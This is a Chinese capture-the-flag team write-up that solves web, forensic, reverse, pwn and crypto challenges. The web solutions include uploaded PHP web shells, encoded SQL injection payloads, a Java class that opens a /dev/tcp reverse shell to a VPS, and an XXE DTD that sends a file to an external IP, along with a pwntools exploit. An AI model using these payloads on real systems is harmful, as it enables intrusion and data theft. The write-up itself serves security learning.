战队名称:汪汪队摆大烂

排名:12

SCORE:3968PT 20KILL

Web

EzPHP

页面注释都没有内容,用dirsearch扫描目录,扫描到index.php.bak备份文件

可以看到首先是在传入字符中URL解码然后检测有没有下划线,最初想的是使用双URL编码绕过,结果本地起服务试了试发现内容也会URL编码,随后使用了 . (点)去绕过,下面是file_put_content写文件,但是过滤了大部分函数,并且长度有限制,所以最后尝试使用filter伪协议,首先对一句话木马(青春版)进行rot13编码,绕过下面的正则匹配,随后再使用伪协议解开,payload:

GET:  ?f.name=php://filter/write=string.rot13/resource=shell.php

POST: f_content=<?=riny($_TRG[‘K’]);

Ok上传上去之后,首先先传一个  GET: ?1=eval($_POST[1]) 去接受到POST[1],这样就可以使用蚁剑去连接

使用蚁剑测试连接成功,在/usr下找到flag:flag_here

得到flag

flag{cb3b7530-b02C-4acc -bC1-6029cfece202}

eZphp2

页面为空,查看源码得到?source=1

得到源码,和php1异曲同工,下划线都用点去绕过,只不过这里没有限制上传时的函数,但这个上传长度要求更加严格,需要长度不大于18个字符,于是还是使用超短马.

Payload:GET: ?name.nnnn=e.php   POST: file_c=<?=eval($_GET[1]);

使用蚁剑连接还是加一个?1=eval($_POST[1])使用POST接收参数

在根目录找到flaaaaaag

flag{99334e25-c978-4ccc-a246-beb8156806b7}

 

skip

这道题有附件,由于靶机这段时间异常所以先看的附件

一个nginx的配置文件,反向代理3000

可以看到一个双目运算符,请求中不能带nginx,即可出flag,参考SECCON_CTF_2021的文章:

所以使用 “proxy=1&”*1000来绕过限制

使用python发包

请求得到flag

Import requests 
Print(requests.get(http://59.110.213.14:56622//? + “proxy=1&” * 1000).text())

flag{abe2ff50ebbc889f8b341fa53fd792e3}

SQL

查看源码,发现是SQL注入,审计代码看到 echo ($conn-<error);判断是报错注入,写一个payload测试一下: 1' or updatexml(0,concat(0x7e,(database())),1) #\

结果发现不能直接传入,需要进行强URL编码后再进行二次URL编码才可以执行

Payload1:%2531%2527%2520%256F%2572%2520%2575%2570%2564%2561%2574%2565%2578%256D%256C%2528%2530%252C%2563%256F%256E%2563%2561%2574%2528%2530%2578%2537%2565%252C%2528%2564%2561%2574%2561%2562%2561%2573%2565%2528%2529%2529%2529%252C%2531%2529%2520%2523%2520

尝试成功,随后修改Payload,开始爆库

1' or updatexml(0,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) #

%2531%2527%2520%256F%2572%2520%2575%2570%2564%2561%2574%2565%2578%256D%256C%2528%2530%252C%2563%256F%256E%2563%2561%2574%2528%2530%2578%2537%2565%252C%2528%2573%2565%256C%2565%2563%2574%2520%2567%2572%256F%2575%2570%255F%2563%256F%256E%2563%2561%2574%2528%2574%2561%2562%256C%2565%255F%256E%2561%256D%2565%2529%2520%2566%2572%256F%256D%2520%2569%256E%2566%256F%2572%256D%2561%2574%2569%256F%256E%255F%2573%2563%2568%2565%256D%2561%252E%2574%2561%2562%256C%2565%2573%2520%2577%2568%2565%2572%2565%2520%2574%2561%2562%256C%2565%255F%2573%2563%2568%2565%256D%2561%253D%2564%2561%2574%2561%2562%2561%2573%2565%2528%2529%2529%2529%252C%2531%2529%2520%2523%2520

初步判断在is_this_flag表中,于是对此表爆表

1' or updatexml(0,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database())),1) #

%2531%2527%2520%256F%2572%2520%2575%2570%2564%2561%2574%2565%2578%256D%256C%2528%2530%252C%2563%256F%256E%2563%2561%2574%2528%2530%2578%2537%2565%252C%2528%2573%2565%256C%2565%2563%2574%2520%2567%2572%256F%2575%2570%255F%2563%256F%256E%2563%2561%2574%2528%2563%256F%256C%2575%256D%256E%255F%256E%2561%256D%2565%2529%2520%2566%2572%256F%256D%2520%2569%256E%2566%256F%2572%256D%2561%2574%2569%256F%256E%255F%2573%2563%2568%2565%256D%2561%252E%2563%256F%256C%2575%256D%256E%2573%2520%2577%2568%2565%2572%2565%2520%2574%2561%2562%256C%2565%255F%2573%2563%2568%2565%256D%2561%253D%2564%2561%2574%2561%2562%2561%2573%2565%2528%2529%2529%2529%252C%2531%2529%2520%2523%2520

表中有flag、id、name、email 四个字段,于是

1' or updatexml(0,concat(0x7e,(select * from is_this_flag)),1) #

%2531%2527%2520%256F%2572%2520%2575%2570%2564%2561%2574%2565%2578%256D%256C%2528%2530%252C%2563%256F%256E%2563%2561%2574%2528%2530%2578%2537%2565%252C%2528%2573%2565%256C%2565%2563%2574%2520%252A%2520%2566%2572%256F%256D%2520%2569%2573%255F%2574%2568%2569%2573%255F%2566%256C%2561%2567%2529%2529%252C%2531%2529%2520%2523%2520

但是flag没有完全,可能是显示不完全,于是先记录下来,再用mysql的RIGHT()函数使查询结果从右往左截取

1' or updatexml(0,concat(0x7e,RIGHT((select * from is_this_flag),25)),1) #

%2531%2527%2520%256F%2572%2520%2575%2570%2564%2561%2574%2565%2578%256D%256C%2528%2530%252C%2563%256F%256E%2563%2561%2574%2528%2530%2578%2537%2565%252C%2552%2549%2547%2548%2554%2528%2528%2573%2565%256C%2565%2563%2574%2520%252A%2520%2566%2572%256F%256D%2520%2569%2573%255F%2574%2568%2569%2573%255F%2566%256C%2561%2567%2529%252C%2532%2535%2529%2529%252C%2531%2529%2520%2523

拼接得到flag

flag{e4cf1b90-75d1-11ed-9b3b-44af28a75237}

反败为胜

启动靶机,看到的是U2Fs开头的类似AES的字符串,随后查看页面源码

看到提示是RC40626,本来以为是某种协议,后来尝试了几个在线解码网站,发现是RC4 密钥是 0626 ,解码得到一段php

PHP的反序列化,这里我们我们需要使$ser_code == “FLAG”并且要绕过wakeup魔术方式防止初始化给$ser_code置空,首先本地编写_construct方法设置$ser_code为FLAG,new一个类,序列化并URL编码后输出

O%3A3%3A%22ouo%22%3A1%3A%7Bs%3A13%3A%22%00ouo%00ser_code%22%3Bs%3A4%3A%22FLAG%22%3B%7D

然后在传payload时将大括号前面修改为2来绕过_wakeup方法

O%3A3%3A%22ouo%22%3A2%3A%7Bs%3A13%3A%22%00ouo%00ser_code%22%3Bs%3A4%3A%22FLAG%22%3B%7D

<?php 
echo("ser.php: You find me!"); 
class ouo{
private $ser_code = "ser";     
public function __construct(){         
$this->ser_code = "FLAG";
}     
function __destruct(){         
if(!empty($this->ser_code)){             
if($this->ser_code == "FLAG")                 
echo ("{flag}");             
else                 
die('Try Again!');
}}     
function __wakeup(){
$this->ser_code=null;
} } 
$a = new ouo(); 
echo urlencode(serialize($a));   ?>   
//O%3A3%3A%22ouo%22%3A1%3A%7Bs%3A13%3A%22%00ouo%00ser_code%22%3Bs%3A4%3A%22FLAG%22%3B%7D //O%3A3%3A%22ouo%22%3A2%3A%7Bs%3A13%3A%22%00ouo%00ser_code%22%3Bs%3A4%3A%22FLAG%22%3B%7D

flag { 30815ff8-76c2-1led-aec4-44af28a75237}

不可思议

进去是一个json,在响应头中找到route:/SetMVEL,根据hint寻找源码

访问/SetMVEL提示405,需要POST访问,于是尝试给/下出现的json传入

响应头中多了一个/mvel_code.zip,访问路径下载到源码

根据源码找到文章SpEL注入RCE分析与绕过 - 先知社区 (aliyun.com)

于是尝试编译这个jar包后传入反弹Shell,编译完jar包后上传到公网的VPS

再尝试传入下面的payload,试了几次发现双引号和http这里需要用\转义,以及limit也需要在外面套上双引号(json的标准格式),用Hackbar使用json协议传入

同时在另一台公网长度VPS 使用nc监听9876端口,传入Payload

VPS收到 Shell,反弹Shell成功

经过寻找后flag在根目录下

import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.net.MalformedURLException;   public class Exp {     public Exp(String address){         address = address.replace(":","/");         ProcessBuilder p = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/"+address+";cat <&5 | while read line; do $line 2>&5 >&5; done"); //        ProcessBuilder p = new ProcessBuilder("calc");         try {             p.start();         } catch (IOException e) {             e.printStackTrace();         }     } }

flag{5e7304fc-6b29-4d0c-a601-79fbf8166347}

有来无回

一进去就403 forbidden,查看响应包,源码都没东西,这时候想起来题目描述里面的xxe.php,这已经是在明示XXE了

并且是需要用OOB XXE去读取/tmp/flag.txt。由于XXE我本地没有现成的Payload,于是到网上找Payload: https://blog.csdn.net/hackzkaq/article/details/123376415

找到了个Payload,改了一下ip端口号,让他读取/tmp/flag.txt,之后写进dtd (内容见最后),尝试直接传入dtd没有回显,于是尝试引入外部dtd,将编写好的dtd文件上传至公网的VPS上外部引入来尝试,第一次因为开了强制https导致证书错误,第二次使用http就成功读取了

//dog.dtd 
<!ENTITY % passwd SYSTEM "file:///tmp/flag.txt"> 
<!ENTITY % int "<!ENTITY send SYSTEM 'http://59.110.213.14:42426/%passwd;'>">

flag{tqxh8rvijg4jibuxuzfaarvq8esu24uz}

盗梦空间

PB5CMZCPGU7GSJKNJRDUQYJFMZJE24BSIR3TGI3TJ55FGQ2GERJGIWDAJBHTK2BVIFIDKNZ2LJKFKND2L5QX42B6HJJFA7LLLBHUE4S5MZTDYTRTLFAHUVBMFN5SWQLLLZRWQ6SHO5CTMXRYKV5FMLSCLEUWSWBQJI2VGOR4JE5UYUKQPRXTWJLUJB3TWVKZFM3F6WTRJYRFC432KVEC4ILYKRTTCQTFKBWTAYSNN5XTE2TKMBSHWNSFNQQVURCZO55G6OZUFNKSIOJRGA2EYYKOMJMXK3TYIB4UWZLRJ54GUTLWFJWEWTLKMR6TKJSHOUYWMKS7IUUWMMDXL5QUC2KJEQWE4R2VFJCQ====

题目中拿到的字符串,第一部一看等号就是base32,先解码

随后是base91编码,继续,这里得到了一个类似base64的编码,随后放进cyberchef去尝试

Cyberchef自动识别出了Base64和Base85以及一个hex,我再套一个Hex,最后字符串反转得到flag

Base32àBase91àBase64àBase85àBase16à16转ASCIIà字符反转

fflag{ILoveBeiJingTianAnMen}

qianda0_Sudoku

下载附件,得到数独一个,首先在在线网站解了数独

Flag+输入 的内容或者全部内容Md5都不对

后来放了hint,观察得到原本有的数字是0,空的是1(其实不需要解数独),然后解二进制就是flag了

flag{sud0ku_fuN}

学海无涯

下载得到附件happt.txt

猜是base64转图片,找了在线网站拿去解,得到图一张jiff

尝试分离文件得到一个带密码的zip

随后在图片里找到一个”pass”

拿去xxencode解码

得到Zip密码,解压缩包得到.弗兰哥.txt

到这里就暂时没有思路了,尝试转了二维码也不对

直到最后放了Hint,给了一段python代码

bin_data=binascii.unhexlify(hex(int(binstr, 2))[2:])

gzip.decompress(bin_data).decode('utf-8')

将txt中的二进制字符传带入binstr,运行脚本得到flag

import binascii import gzip binstr="111111000101100001000000000000001110111110100100011100110001100000010111111110100101111001011010010010100110010101111011111101011001010111011111010111110100110010010001110010010111101100111011011000111111011011010110110101111100101101100010001101101111111010011010101011011001101101010000000010111011111100101010101000111100100011000000000000000000000000000" bin_data=binascii.unhexlify(hex(int(binstr, 2))[2:]) print(gzip.decompress(bin_data).decode('utf-8')

flag{今夜阳光明媚}

数据泄露01-账号泄露追踪

查看题目,得到提示是要到github、gitee、博客园等 平台寻找Python项目,并且名字会变化为拼音或是汉语,给的是red-banana,在github上搜索red-banana 或是红香蕉找到了一个空项目,尝试搜索hongxiangjiao,找到符合条件的项目

Clone下来项目后,使用filelocater去项目中搜寻五个用户名,最总在scrubbers.py中搜到第三个完整的用户名:GBUfty0vMqlrGOdE

flag{GBUfty0vMqlrGOdE}

数据泄露02-泄露的密码

这个题是紧接着上面的题目,需要寻找一个超级密码,由于之前在做数据泄露01时就在博客园看到了超级密码,所以直接提交超级密码:redbanana2022sss

flag{redbanana2022sss}

数据泄露03-泄露的密钥

这个和第二个都是在第一题做出之前就找到了,在上一题的结尾有个知乎的连接

打开连接,查看发现用户发现还有一篇写的就是要寻找的上传接口密钥,于是提交密钥:51d0a99c-752e-11ed-b5a7-44af28a75237

flag{51d0a99c-752e-11ed-b5a7-44af28a75237}

Megumi

下载附件是一张jpg

尝试了分离等操作都没有得到信息,题目描述是寻找女主所在的社团,只能去信息搜集了,经过搜查得到女主叫圣人惠,所在社团叫BlessingSoftware,但这个不是flag

随后放出来了hint,带有guess,联想到这是一个jpg图片,于是尝试使用outguess,密钥为“blessingsoftware “去解密图片,得到flag

flag{Megumi-Kato}

Reverse

tea

首先查壳,64位无壳

拖进ida静态分析

从下分析可得比较v6和v7如果不相等则提示错误

V6=v9;  v7=v10;

V9是从&unk_14001C340复制来的字符串v10是经过sub_140001000()函数加密的字符串

&unk_14001C340中发现加密的字符串

sub_140001000(v10, 9i64, v8);为主要加密函数

分析代码和根据题目名称xxtea提示可知本题为经典的xxtea

密钥为key[] = { 0x5571CB4E,0xC38A9D2F,0x1D835B62,0x93C3DC19 };

密文为v[] = { 0x6456DD95, 0x2A41FD67, 0xAFE574A5, 0x4BFA8D72, 0xE2BF316F, 0x166B34BD, 0x6232283A, 0x4A1A8794,0xD591779B };

根据sub_140001000(v10, 9i64, v8)函数传参可知n=9

写出脚本(见后代码框)

#include <stdio.h> 
#include <stdlib.h> 
#include<iostream> 
using namespace std; 
#define DELTA 0x9e3779b9 

int main() {     
unsigned int v[] = { 0x6456DD95, 0x2A41FD67, 0xAFE574A5, 0x4BFA8D72, 0xE2BF316F, 0x166B34BD, 0x6232283A, 0x4A1A8794,0xD591779B };     
unsigned int key[] = { 0x5571CB4E,0xC38A9D2F,0x1D835B62,0x93C3DC19 };     unsigned int sum = 0;     
unsigned int y, z, p, rounds, e;     
int n = 9;            
int i = 0;         
rounds = 6 + 52 / n;         
y = v[0];         
sum = (rounds * DELTA) & 0xffffffff;         
do { e = sum >> 2 & 3;
for (p = n - 1; p > 0; p--)
{z = v[p - 1];                 
v[p] = (v[p] - ((((z >> 5) ^ (y << 2)) + ((y >> 3) ^ (z << 4))) ^ ((key[(p ^ e) & 3] ^ z) + (y ^ sum)))) & 0xffffffff;
y = v[p];}             
z = v[n - 1];             
v[0] = (v[0] - (((key[(p ^ e) & 3] ^ z) + (y ^ sum)) ^ (((y << 2) ^ (z >> 5)) + ((z << 4) ^ (y >> 3))))) & 0xffffffff;
y = v[0];            
sum = (sum - DELTA) & 0xffffffff;        
 } while (--rounds);         
for (i = 0; i < n; i++)         
{             
cout << (char)(v[i] & 0xff) << (char)(v[i] >> 8 & 0xff) << (char)(v[i] >> 16 & 0xff) << (char)(v[i] >> 24 & 0xff);         
}     
return 0; 
} 

// 3430DF69-C220-40F9-9667-2B8C4A2FE6E9  

flag{ 3430DF69-C220-40F9-9667-2B8C4A2FE6E9}

Pwn

login

查看main函数,是先通过scanf传入值后base64-decode,之后需要绕过auth的长度判断以及输入内容判断,脚本如下

执行Exp后拿到Sh,经过查找flag在home目录下,套上flag{}即为flag

from pwn import * 
import base64 
io = remote("59.110.213.14",56234) 
sadd = 0xdeadbeef 
iadd = 0x804925f 
cadd = 0x811eb40 
payload = p32(dadd) + p32(sadd) + p32(iadd) 
io.recv() 
sleep(1) 
io.sendline(base64.b64encode payload)) 
sleep(1) 
io.interactive()  

flag{wel30me t0_l0g1n}

Crypto

小菜一碟

是个rsa,而且pq都给了直接解就是了

运行脚本得到flag :flag{TheFIFAWorldCupQatar2022}

from gmpy2 import invert, powmod from Crypto.Util.number 
import long_to_bytes   

p=159303842369547814925693476555868814571858842104258697105149515713993443203825659998652654127374510196025599003730143012113707484839253123496857732128701609968752699400092431858926716649428960535283324598902169712222454699617671683675932795780343545970625533166831907970102480122242685830820463772025494712199 
q=172887845783422002789082420254687566789308973977854220003084208506942637236520298084569310184947609392615644191634749946917611949170216103380692838274627779684269566710195695515000492922000964163572308396664983937642827715821977706257150587395323556335081542987902463903436949141288429937432819003811354533477 
e= 19999 
c=15176702963665501922403999221895690215282504333559191936777611319802899006788248557279808041449600021838150559750953924442905812928090845724972302802437464578850548068341807388913597120410841772162320682183999897958037105171055839318049584110106368746019307718322196559113348222485399508199250407930454163630320204931310511881428526650112302088935473691025195368688328619506405195638348814876023324965555774105055157166629768444387302211760448217666053342945412276047036106026882600555168611384975424201854134312678053294600373283558738680924405596407956073538019064806588050349192904553467435863806385634189342027395  

d = invert(e,(p-1)*(q-1)) 
print(long_to_bytes(powmod(c,d,p*q)))  

 

flag{TheFIFAWorldCupQatar2022}

RRSSAA

还是一个rsa

可以直接用上一个题的脚本

给定了两个e,所以就逐个求一个看看明文一样不一样

可以看到明文一样,而且都是flag

from gmpy2 import invert, powmod from Crypto.Util.number 
import long_to_bytes   p=123458435421261543472541524199731235574048053128601592828113156858256897602409067025674231465244054181972626266583815939142097971979228583114373452753144521115603696730578184251357134599421315099599143482519027549135311948601114584919768962463801005587816375776795616009077822359851656097169247116759791793687 
q=97276963771653114294115524925680580949385827322024790734418230303283861043696849155355518555652095559285163994241670550744000225618126658988929239870027266570376465899405972982196485923500560008192041570421590766719044249315069438249987024660117501456707638758202318116109860915440658403715058758393977149729 
e1= 2333 
c1=3091063916228464455521357922299851945733179824012337598325935431151534388234889582934719097957211574031506425780821664489121712504278835046257494105641946435467664631146730786295351188439182841680768531937382787335943965667714937822280848763425350089235645289384375623655179569897238696408868150422651859781815376696756981788347283996647604511187607188051598692339333337644956875630361418916795600637518633591481197783209020148212167599700531242494401774503456200889355439781332887736926823527200546226966803759767490748143939212274369822333951327997518975975960530675198444178464821237247544413301735105551687502988 
e2= 23333 
c2=3020828772115226887000015133333821282592051548686903232559679837758040530392014545308146746971372113818852623844807332306519066119345705458457237902473211958279079988876840270162881686132679217898982958235064386584289972304614458185165683014776410738885399792032602501638437880558924737680288329872135075375340246371405482850885777367009879733890398886462506917356919767329145462495699851367240387357485822078838863882442289942481376842591016730244281710044592948116573144325447524357995553176271890557769659239135878101020400056503293673886968120697821156927485992635172356908737486318910095798432613528160497925715   

d1 = invert(e1,(p-1)*(q-1)) 
print("c1",long_to_bytes(powmod(c1,d1,p*q)))   

d2 = invert(e2,(p-1)*(q-1)) 
print("c2",long_to_bytes(powmod(c2,d2,p*q)))  

flag{m-co-pr1m3}

Rand

下载脚本

看脚本,大致意思是先根据当前的时间戳去定随机数种子random.seed

那就根据下面的时间倒过来就行了(见脚本)

import random
import time

random.seed(int(1670639450))
rand = random.randint(0,10**30)
en = 881235169941718345882433419366
flag = en ^ rand

print(flag)

flag{659480394773869512498389750739}

simpleR

下载查看脚本

E是2,给了c 想到西湖论剑的题目,把C开平方求解,下面是脚本

import gmpy2
import libnum

c=3136716033731914452763044128945241240021620048803150767745968848345189851269112855865110275244336447973330360214689062351028386721896599362080560109450218446175674155425523734453425305156053870568600329

m = gmpy2.isqrt(c)
m = int(m)
m_text = libnum.n2s(m)
print(m_text)  

flag{efd90a18-7601-11ed-ac93-44af28a75237}